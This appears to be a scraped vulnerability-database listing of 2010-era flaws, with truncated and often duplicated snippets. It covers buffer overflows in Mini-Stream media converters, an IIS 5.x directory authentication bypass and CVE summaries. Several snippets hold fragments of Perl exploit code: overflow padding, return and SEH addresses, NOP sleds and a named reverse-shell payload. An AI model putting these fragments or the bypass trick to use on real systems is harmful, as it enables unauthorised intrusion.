Mini-Stream RM-MP3 Converter 3.1.2.1 Buffer Overflow

Mini-Stream RM-MP3 Converter v3.1.2.1 .pls Stack Buffer Overflow universal By Madjix lemail ma3andkoum madirou bih Sec4ever.com my $junk="http://"."\x41" x 17425; my $ret = "\xCF\xDA\x05\x10"; jump to ESP - from msrmfilter03.dll my $padding = "\x90" x 24; windows/shellreversetcp - 739 bytes...

Mini-stream RM-MP3 Converter 3.1.2.1 - .pls Local Stack Buffer Overflow Universal

Mini-stream RM-MP3 Converter 3.1.2.1 - .pls Local Stack Buffer Overflow Universal Mini-Stream RM-MP3 Converter v3.1.2.1 .pls Stack Buffer Overflow universal By Madjix lemail ma3andkoum madirou bih Sec4ever.com my $junk="http://"."\x41" x 17425; my $ret = "\xCF\xDA\x05\x10"; jump to ESP - from...

Mini-stream RM-MP3 Converter 3.1.2.1 - '.pls' Local Stack Buffer Overflow Universal

Mini-Stream RM-MP3 Converter v3.1.2.1 .pls Stack Buffer Overflow universal By Madjix lemail ma3andkoum madirou bih Sec4ever.com my $junk="http://"."\x41" x 17425; my $ret = "\xCF\xDA\x05\x10"; jump to ESP - from msrmfilter03.dll my $padding = "\x90" x 24; windows/shellreversetcp - 739 bytes...

IIS5.1 Directory Authentication Bypass by using “:$I30:$Index_Allocation”

Description: Although IIS5 is very old, finding one is not impossible! Therefore, I want to introduce a technique to bypass the IIS authentication methods on a directory. This vulnerability is because of using Alternate Data Stream to open a protected folder. All of IIS authentication methods can...

IIS 5 Authentication Bypass

Description: Although IIS5 is very old, finding one is not impossible! Therefore, I want to introduce a technique to bypass the IIS authentication methods on a directory. This vulnerability is because of using Alternate Data Stream to open a protected folder. All of IIS authentication methods can...

ASX To MP3 Converter 3.1.2.1 Buffer Overflow

Exploit Title: ASX to MP3 Converter Version 3.1.2.1 2010-03-30 Local Buffer Overflow SEH Date: nhar essabt 3-7-10 Author: MadjiX Software Link: http://www.mini-stream.net/downloads/ASXtoMP3Converter.exe Version: 3.1.2.1 ‎2010-03-30 Tested on: xp sp3 my $shellcode=...

ASX to MP3 Converter 3.1.2.1 - Local Buffer Overflow (SEH)

Exploit Title: ASX to MP3 Converter Version 3.1.2.1 2010-03-30 Local Buffer Overflow SEH Date: nhar essabt 3-7-10 Author: MadjiX Software Link: http://www.mini-stream.net/downloads/ASXtoMP3Converter.exe Version: 3.1.2.1 ‎2010-03-30 Tested on: xp sp3 my $shellcode=...

Microsoft IIS 5.1 Directory Authentication Bypass

Introduction: Although IIS5 is very old, finding one is not impossible! Therefore, I want to introduce a technique to bypass the IIS authentication methods on a directory. This vulnerability is because of using Alternate Data Stream to open a protected folder. All of IIS authentication methods ca...

Microsoft IIS 5.0 - Authentication Bypass (MS10-065)

Microsoft IIS 5.0 - Authentication Bypass MS10-065 MS10-065 - Directory Authentication Bypass Vulnerability Description: This vulnerability is because of using Alternate Data Stream to open a protected folder. All of IIS authentication methods can be circumvented. In this technique, we can add a...

Microsoft IIS 5.0 - Authentication Bypass (MS10-065)

MS10-065 - Directory Authentication Bypass Vulnerability Description: This vulnerability is because of using Alternate Data Stream to open a protected folder. All of IIS authentication methods can be circumvented. In this technique, we can add a “:$i30:$INDEXALLOCATION” to a directory name to...

Mini-Stream RM-MP3 Converter v3.1.2.1 Buffer Overflow Exploit (SEH)

Exploit for windows platform in category local exploits =================================================================== Mini-Stream RM-MP3 Converter v3.1.2.1 Buffer Overflow Exploit SEH ===================================================================...

RM Downloader 3.1.3 - Local Buffer Overflow (SEH)

!/usr/bin/perl RM Downloader 3.1.3 Local stack BOF Download : http://www.mini-stream.net/downloads/RMDownloader.exe By Madjix Dz8athotmaildotcom my $hd = "EXTM3U\n" ; my $jnk="\x41" x 43488 ; my $nseh="\xeb\x06\x90\x90" ; my $seh="\x16\xBE\x87\x7C" ; my $nops = "\x90" x 24 ; my $shellcode=...

RM Downloader 3.1.3 Buffer Overflow (SEH)

Exploit for windows platform in category local exploits ========================================= RM Downloader 3.1.3 Buffer Overflow SEH ========================================= !/usr/bin/perl RM Downloader 3.1.3 Local stack BOF Download : http://www.mini-stream.net/downloads/RMDownloader.exe B...

RM Downloader 3.1.3 - Local Buffer Overflow (SEH)

RM Downloader 3.1.3 - Local Buffer Overflow SEH !/usr/bin/perl RM Downloader 3.1.3 Local stack BOF Download : http://www.mini-stream.net/downloads/RMDownloader.exe By Madjix Dz8athotmaildotcom my $hd = "EXTM3U\n" ; my $jnk="\x41" x 43488 ; my $nseh="\xeb\x06\x90\x90" ; my $seh="\x16\xBE\x87\x7C" ...

Vulnerabilities with Windows file default stream

Vulnerabilities with Windows file default stream Severity: major CVE-2010-2263 Not vulnerable: 0.8.40+, 0.7.66+ Vulnerable: nginx/Windows 0.7.52-0.8.39...

nginx engine x server <= 0.7.65 stable/0.8.39 (development) source code

Exploit for windows platform in category remote exploits ================================================================================================================= NGINX ENGINE X SERVER http://nginx.org/en/ ref-1 ======TESTED VERSIONS===== Unix versions are not vulnerable it only affects t...

GLSA-201006-04 : xine-lib: User-assisted execution of arbitrary code

The remote host is affected by the vulnerability described in GLSA-201006-04 xine-lib: User-assisted execution of arbitrary code Multiple vulnerabilities have been reported in xine-lib. Please review the CVE identifiers referenced below for details. Impact : A remote attacker could entice a user ...

CVE-2010-2093

Use-after-free vulnerability in the request shutdown functionality in PHP 5.2 before 5.2.13 and 5.3 before 5.3.2 allows context-dependent attackers to cause a denial of service crash via a stream context structure that is freed before destruction occurs...

CVE-2010-1639

The clipdf function in libclamav/pdf.c in ClamAV before 0.96.1 allows remote attackers to cause a denial of service crash via a malformed PDF file, related to an inconsistency in the calculated stream length and the real stream length...

DEBIAN-CVE-2010-1639

The clipdf function in libclamav/pdf.c in ClamAV before 0.96.1 allows remote attackers to cause a denial of service crash via a malformed PDF file, related to an inconsistency in the calculated stream length and the real stream length...